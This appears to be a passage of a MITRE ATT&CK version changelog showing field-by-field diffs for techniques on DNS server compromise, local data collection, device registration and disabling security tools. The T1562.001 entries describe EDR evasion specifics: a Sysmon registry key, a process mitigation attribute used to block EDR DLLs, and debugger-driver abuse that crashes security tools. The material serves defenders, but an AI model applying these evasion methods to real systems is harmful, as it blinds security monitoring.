devices.(Citation: DNS Beacons) Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) Monitor for DNS traffic to/from known-bad or suspicious domains.
x_mitre_version	1.3	1.4

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government', 'description': 'Kyle Wilhoit, Robert Falcone. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved July 21, 2025.', 'url': 'https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/'}
external_references		{'source_name': 'DNS Beacons', 'description': 'Vercara. (n.d.). Retrieved July 21, 2025.', 'url': 'https://vercara.digicert.com/resources/dns-beacons#page_top'}

[T1584.002] Compromise Infrastructure: DNS Server

Current version: 1.3

Version changed from: 1.2 → 1.3

	Old Description			New Description
t	1	Adversaries may compromise third-party DNS servers that can	t	1	Adversaries may compromise third-party DNS servers that can
	>	be used during targeting. During post-compromise activity, a		>	be used during targeting. During post-compromise activity, a
	>	dversaries may utilize DNS traffic for various tasks, includ		>	dversaries may utilize DNS traffic for various tasks, includ
	>	ing for Command and Control (ex: [Application Layer Protocol		>	ing for Command and Control (ex: [Application Layer Protocol
	>	](https://attack.mitre.org/techniques/T1071)). Instead of se		>	](https://attack.mitre.org/techniques/T1071)). Instead of se
	>	tting up their own DNS servers, adversaries may compromise t		>	tting up their own DNS servers, adversaries may compromise t
	>	hird-party DNS servers in support of operations. By comprom		>	hird-party DNS servers in support of operations. By comprom
	>	ising DNS servers, adversaries can alter DNS records. Such c		>	ising DNS servers, adversaries can alter DNS records. Such c
	>	ontrol can allow for redirection of an organization's traffi		>	ontrol can allow for redirection of an organization's traffi
	>	c, facilitating Collection and Credential Access efforts for		>	c, facilitating Collection and Credential Access efforts for
	>	the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio		>	the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio
	>	n: FireEye DNS Hijack 2019) Additionally, adversaries may l		>	n: FireEye DNS Hijack 2019) Additionally, adversaries may l
	>	everage such control in conjunction with [Digital Certificat		>	everage such control in conjunction with [Digital Certificat
	>	es](https://attack.mitre.org/techniques/T1588/004) to redire		>	es](https://attack.mitre.org/techniques/T1588/004) to redire
	>	ct traffic to adversary-controlled infrastructure, mimicking		>	ct traffic to adversary-controlled infrastructure, mimicking
	>	normal trusted network communications.(Citation: FireEye DN		>	normal trusted network communications.(Citation: FireEye DN
	>	S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Advers		>	S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Altern
	>	aries may also be able to silently create subdomains pointed		>	atively, they may be able to prove ownership of a domain to
	>	at malicious servers without tipping off the actual owner o		>	a SaaS service in order to assert control of the service or
	>	f the DNS server.(Citation: CiscoAngler)(Citation: Proofpoin		>	create a new administrative [Cloud Account](https://attack.m
	>	t Domain Shadowing)		>	itre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domai
				>	n Hijacking 2025) Adversaries may also be able to silently c
				>	reate subdomains pointed at malicious servers without tippin
				>	g off the actual owner of the DNS server.(Citation: CiscoAng
				>	ler)(Citation: Proofpoint Domain Shadowing)

Dropped Detections (Data Components -> Technique):

DS0038: Domain Name (Active DNS)
DS0038: Domain Name (Passive DNS)

New Detections (Detection Strategies -> Technique):

DET0891: Detection of DNS Server

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Domain Name: Active DNS', 'Domain Name: Passive DNS']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:13:56.342000+00:00	2025-10-24 17:49:20.486000+00:00
description	Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)	Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative [Cloud Account](https://attack.mitre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domain Hijacking 2025) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
x_mitre_version	1.2	1.3

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'CyberCX SaaS Domain Hijacking 2025', 'description': 'Tony Mau. (2025, May 29). Keys to the (SaaS) kingdom. Retrieved May 30, 2025.', 'url': 'https://cybercx.com.au/blog/keys-to-the-saas-kingdom/'}
x_mitre_contributors		Menachem Goldstein
x_mitre_contributors		Tony Mau (CyberCX)

[T1005] Data from Local System

Current version: 1.8

Version changed from: 1.7 → 1.8

	Old Description			New Description
t	1	Adversaries may search local system sources, such as file sy	t	1	Adversaries may search local system sources, such as file sy
	>	stems, configuration files, local databases, or virtual mach		>	stems, configuration files, local databases, virtual machine
	>	ine files, to find files of interest and sensitive data prio		>	files, or process memory, to find files of interest and sen
	>	r to Exfiltration. Adversaries may do this using a [Command		>	sitive data prior to Exfiltration. Adversaries may do this
	>	and Scripting Interpreter](https://attack.mitre.org/techniq		>	using a [Command and Scripting Interpreter](https://attack.m
	>	ues/T1059), such as [cmd](https://attack.mitre.org/software/		>	itre.org/techniques/T1059), such as [cmd](https://attack.mit
	>	S0106) as well as a [Network Device CLI](https://attack.mitr		>	re.org/software/S0106) as well as a [Network Device CLI](htt
	>	e.org/techniques/T1059/008), which have functionality to int		>	ps://attack.mitre.org/techniques/T1059/008), which have func
	>	eract with the file system to gather information.(Citation:		>	tionality to interact with the file system to gather informa
	>	show_run_config_cmd_cisco) Adversaries may also use [Automat		>	tion.(Citation: show_run_config_cmd_cisco) Adversaries may a
	>	ed Collection](https://attack.mitre.org/techniques/T1119) on		>	lso use [Automated Collection](https://attack.mitre.org/tech
	>	the local system.		>	niques/T1119) on the local system.

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0380: Detection of Local Data Collection Prior to Exfiltration

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Script: Script Execution', 'Command: Command Execution', 'Process: Process Creation', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:24.318000+00:00	2025-10-24 17:48:40.839000+00:00
description	Adversaries may search local system sources, such as file systems, configuration files, local databases, or virtual machine files, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.	Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). For network infrastructure devices, collect AAA logging to monitor `show` commands that view configuration files.
x_mitre_version	1.7	1.8

iterable_item_added
STIX Field	Old value	New Value
x_mitre_contributors		Liran Ravich, CardinalOps

[T1098.005] Account Manipulation: Device Registration

Current version: 1.4

Version changed from: 1.3 → 1.4

	Old Description			New Description
t	1	Adversaries may register a device to an adversary-controlled	t	1	Adversaries may register a device to an adversary-controlled
	>	account. Devices may be registered in a multifactor authent		>	account. Devices may be registered in a multifactor authent
	>	ication (MFA) system, which handles authentication to the ne		>	ication (MFA) system, which handles authentication to the ne
	>	twork, or in a device management system, which handles devic		>	twork, or in a device management system, which handles devic
	>	e access and compliance. MFA systems, such as Duo or Okta,		>	e access and compliance. MFA systems, such as Duo or Okta,
	>	allow users to associate devices with their accounts in orde		>	allow users to associate devices with their accounts in orde
	>	r to complete MFA requirements. An adversary that compromise		>	r to complete MFA requirements. An adversary that compromise
	>	s a user’s credentials may enroll a new device in order to b		>	s a user’s credentials may enroll a new device in order to b
	>	ypass initial MFA requirements and gain persistent access to		>	ypass initial MFA requirements and gain persistent access to
	>	a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar		>	a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar
	>	kReading FireEye SolarWinds) In some cases, the MFA self-enr		>	kReading FireEye SolarWinds) In some cases, the MFA self-enr
	>	ollment process may require only a username and password to		>	ollment process may require only a username and password to
	>	enroll the account's first device or to enroll a device to a		>	enroll the account's first device or to enroll a device to a
	>	n inactive account. (Citation: Mandiant APT29 Microsoft 365		>	n inactive account. (Citation: Mandiant APT29 Microsoft 365
	>	2022) Similarly, an adversary with existing access to a net		>	2022) Similarly, an adversary with existing access to a net
	>	work may register a device to Entra ID and/or its device man		>	work may register a device or a virtual machine to Entra ID
	>	agement system, Microsoft Intune, in order to access sensiti		>	and/or its device management system, Microsoft Intune, in or
	>	ve data or resources while bypassing conditional access poli		>	der to access sensitive data or resources while bypassing co
	>	cies.(Citation: AADInternals - Device Registration)(Citation		>	nditional access policies.(Citation: AADInternals - Device R
	>	: AADInternals - Conditional Access Bypass)(Citation: Micros		>	egistration)(Citation: AADInternals - Conditional Access Byp
	>	oft DEV-0537) Devices registered in Entra ID may be able t		>	ass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lio
	>	o conduct [Internal Spearphishing](https://attack.mitre.org/		>	n 2025) Devices registered in Entra ID may be able to condu
	>	techniques/T1534) campaigns via intra-organizational emails,		>	ct [Internal Spearphishing](https://attack.mitre.org/techniq
	>	which are less likely to be treated as suspicious by the em		>	ues/T1534) campaigns via intra-organizational emails, which
	>	ail client.(Citation: Microsoft - Device Registration) Addit		>	are less likely to be treated as suspicious by the email cli
	>	ionally, an adversary may be able to perform a [Service Exha		>	ent.(Citation: Microsoft - Device Registration) Additionally
	>	ustion Flood](https://attack.mitre.org/techniques/T1499/002)		>	, an adversary may be able to perform a [Service Exhaustion
	>	on an Entra ID tenant by registering a large number of devi		>	Flood](https://attack.mitre.org/techniques/T1499/002) on an
	>	ces.(Citation: AADInternals - BPRT)		>	Entra ID tenant by registering a large number of devices.(Ci
				>	tation: AADInternals - BPRT)

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Modification)
DS0015: Application Log (Application Log Content)
DS0026: Active Directory (Active Directory Object Creation)

New Detections (Detection Strategies -> Technique):

DET0036: Suspicious Device Registration via Entra ID or MFA Platform

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Active Directory: Active Directory Object Creation', 'User Account: User Account Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:17:39.860000+00:00	2025-05-22 21:02:06.575000+00:00
description	Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022) Similarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)	Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022) Similarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025) Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)
x_mitre_version	1.3	1.4

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Expel Atlas Lion 2025', 'description': 'Ben Nahorney and Jennifer Maynard. (2025, April 10). Observing Atlas Lion (part one): Why take control when you can enroll?. Retrieved May 22, 2025.', 'url': 'https://expel.com/blog/observing-atlas-lion-part-one/'}

[T1562.001] Impair Defenses: Disable or Modify Tools

Current version: 1.7

Version changed from: 1.6 → 1.7

	Old Description			New Description
t	1	Adversaries may modify and/or disable security tools to avoi	t	1	Adversaries may modify and/or disable security tools to avoi
	>	d possible detection of their malware/tools and activities.		>	d possible detection of their malware/tools and activities.
	>	This may take many forms, such as killing security software		>	This may take many forms, such as killing security software
	>	processes or services, modifying / deleting Registry keys or		>	processes or services, modifying / deleting Registry keys or
	>	configuration files so that tools do not operate properly,		>	configuration files so that tools do not operate properly,
	>	or other methods to interfere with security tools scanning o		>	or other methods to interfere with security tools scanning o
	>	r reporting information. Adversaries may also disable update		>	r reporting information. Adversaries may also disable update
	>	s to prevent the latest security patches from reaching tools		>	s to prevent the latest security patches from reaching tools
	>	on victim systems.(Citation: SCADAfence_ransomware) Advers		>	on victim systems.(Citation: SCADAfence_ransomware) Advers
	>	aries may also tamper with artifacts deployed and utilized b		>	aries may trigger a denial-of-service attack via legitimate
	>	y security tools. Security tools may make dynamic changes to		>	system processes. It has been previously observed that the W
	>	system components in order to maintain visibility into spec		>	indows Time Travel Debugging (TTD) monitor driver can be use
	>	ific events. For example, security products may load their o		>	d to initiate a debugging session for a security tool (e.g.,
	>	wn modules and/or modify those loaded by processes to facili		>	an EDR) and render the tool non-functional. By hooking the
	>	tate data collection. Similar to [Indicator Blocking](https:		>	debugger into the EDR process, all child processes from the
	>	//attack.mitre.org/techniques/T1562/006), adversaries may un		>	EDR will be automatically suspended. The attacker can termi
	>	hook or otherwise modify these features added by tools (espe		>	nate any EDR helper processes (unprotected by Windows Protec
	>	cially those that exist in userland or are otherwise potenti		>	ted Process Light) by abusing the Process Explorer driver. I
	>	ally accessible to adversaries) to avoid detection.(Citation		>	n combination this will halt any attempt to restart services
	>	: OutFlank System Calls)(Citation: MDSec System Calls) Alter		>	and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboo
	>	natively, they may add new directories to an endpoint detect		>	t) Adversaries may also tamper with artifacts deployed and
	>	ion and response (EDR) tool’s exclusion list, enabling them		>	utilized by security tools. Security tools may make dynamic
	>	to hide malicious files via [File/Path Exclusions](https://a		>	changes to system components in order to maintain visibility
	>	ttack.mitre.org/techniques/T1564/012).(Citation: BlackBerry		>	into specific events. For example, security products may lo
	>	WhisperGate 2022)(Citation: Google Cloud Threat Intelligence		>	ad their own modules and/or modify those loaded by processes
	>	FIN13 2021) Adversaries may also focus on specific applica		>	to facilitate data collection. Similar to [Indicator Blocki
	>	tions such as Sysmon. For example, the “Start” and “Enable”		>	ng](https://attack.mitre.org/techniques/T1562/006), adversar
	>	values in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\		>	ies may unhook or otherwise modify these features added by t
	>	Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Ope		>	ools (especially those that exist in userland or are otherwi
	>	rational</code> may be modified to tamper with and potential		>	se potentially accessible to adversaries) to avoid detection
	>	ly disable Sysmon logging.(Citation: disable_win_evt_logging		>	.(Citation: OutFlank System Calls)(Citation: MDSec System Ca
	>	) On network devices, adversaries may attempt to skip digi		>	lls) For example, adversaries may abuse the Windows process
	>	tal signature verification checks by altering startup config		>	mitigation policy to block certain endpoint detection and re
	>	uration files and effectively disabling firmware verificatio		>	sponse (EDR) products from loading their user-mode code via
	>	n that typically occurs at boot.(Citation: Fortinet Zero-Day		>	DLLs. By spawning a process with the PROCESS_CREATION_MITIGA
	>	and Custom Malware Used by Suspected Chinese Actor in Espio		>	TION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute
	>	nage Operation)(Citation: Analysis of FG-IR-22-369) In clou		>	using API calls like UpdateProcThreadAttribute, adversaries
	>	d environments, tools disabled by adversaries may include cl		>	may evade detection by endpoint security solutions that rel
	>	oud monitoring agents that report back to services such as A		>	y on DLLs that are not signed by Microsoft. Alternatively, t
	>	WS CloudWatch or Google Cloud Monitor. Furthermore, althoug		>	hey may add new directories to an EDR tool’s exclusion list,
	>	h defensive tools may have anti-tampering mechanisms, advers		>	enabling them to hide malicious files via [File/Path Exclus
	>	aries may abuse tools such as legitimate rootkit removal kit		>	ions](https://attack.mitre.org/techniques/T1564/012).(Citati
	>	s to impair and/or disable these tools.(Citation: chasing_av		>	on: BlackBerry WhisperGate 2022)(Citation: Google Cloud Thre
	>	addon_ransomware)(Citation: dharma_ransomware)(Citation: dem		>	at Intelligence FIN13 2021) Adversaries may also focus on s
	>	ystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For exam		>	pecific applications such as Sysmon. For example, the “Start
	>	ple, adversaries have used tools such as GMER to find and sh		>	” and “Enable” values in <code>HKEY_LOCAL_MACHINE\SYSTEM\Cur
	>	ut down hidden processes and antivirus software on infected		>	rentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Win
	>	systems.(Citation: demystifying_ryuk) Additionally, adversa		>	dows-Sysmon-Operational</code> may be modified to tamper wit
	>	ries may exploit legitimate drivers from anti-virus software		>	h and potentially disable Sysmon logging.(Citation: disable_
	>	to gain access to kernel space (i.e. [Exploitation for Priv		>	win_evt_logging) On network devices, adversaries may attem
	>	ilege Escalation](https://attack.mitre.org/techniques/T1068)		>	pt to skip digital signature verification checks by altering
	>	), which may lead to bypassing anti-tampering features.(Cita		>	startup configuration files and effectively disabling firmw
	>	tion: avoslocker_ransomware)		>	are verification that typically occurs at boot.(Citation: Fo
				>	rtinet Zero-Day and Custom Malware Used by Suspected Chinese
				>	Actor in Espionage Operation)(Citation: Analysis of FG-IR-2
				>	2-369) In cloud environments, tools disabled by adversaries
				>	may include cloud monitoring agents that report back to ser
				>	vices such as AWS CloudWatch or Google Cloud Monitor. Furth
				>	ermore, although defensive tools may have anti-tampering mec
				>	hanisms, adversaries may abuse tools such as legitimate root
				>	kit removal kits to impair and/or disable these tools.(Citat
				>	ion: chasing_avaddon_ransomware)(Citation: dharma_ransomware
				>	)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowds
				>	trike) For example, adversaries have used tools such as GMER
				>	to find and shut down hidden processes and antivirus softwa
				>	re on infected systems.(Citation: demystifying_ryuk) Additi
				>	onally, adversaries may exploit legitimate drivers from anti
				>	-virus software to gain access to kernel space (i.e. [Exploi
				>	tation for Privilege Escalation](https://attack.mitre.org/te
				>	chniques/T1068)), which may lead to bypassing anti-tampering
				>	features.(Citation: avoslocker_ransomware)

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0009: Process (Process Termination)
DS0013: Sensor Health (Host Status)
DS0017: Command (Command Execution)
DS0019: Service (Service Metadata)
DS0024: Windows Registry (Windows Registry Key Deletion)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0497: Detection of Impair Defenses through Disabled or Modified Tools across OS Platforms.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Sensor Health: Host Status', 'Process: Process Termination', 'Process: Process Creation', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Deletion', 'Driver: Driver Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:57.147000+00:00	2025-10-24 17:49:13.019000+00:00
description	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware) Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) Alternatively, they may add new directories to an endpoint detection and response (EDR) tool’s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021) Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational` may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369) In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor. Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk) Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware) Adversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot) Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool’s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021) Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational` may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369) In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor. Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk) Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity. Lack of expected log events may be suspicious.
x_mitre_version	1.6	1.7
x_mitre_contributors[0]	Gordon Long, Box, Inc., @ethicalhax	Gordon Long, LegioX/Zoom, asaurusrex

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Cocomazzi FIN7 Reboot', 'description': 'Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot \| Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.', 'url': 'https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/'}
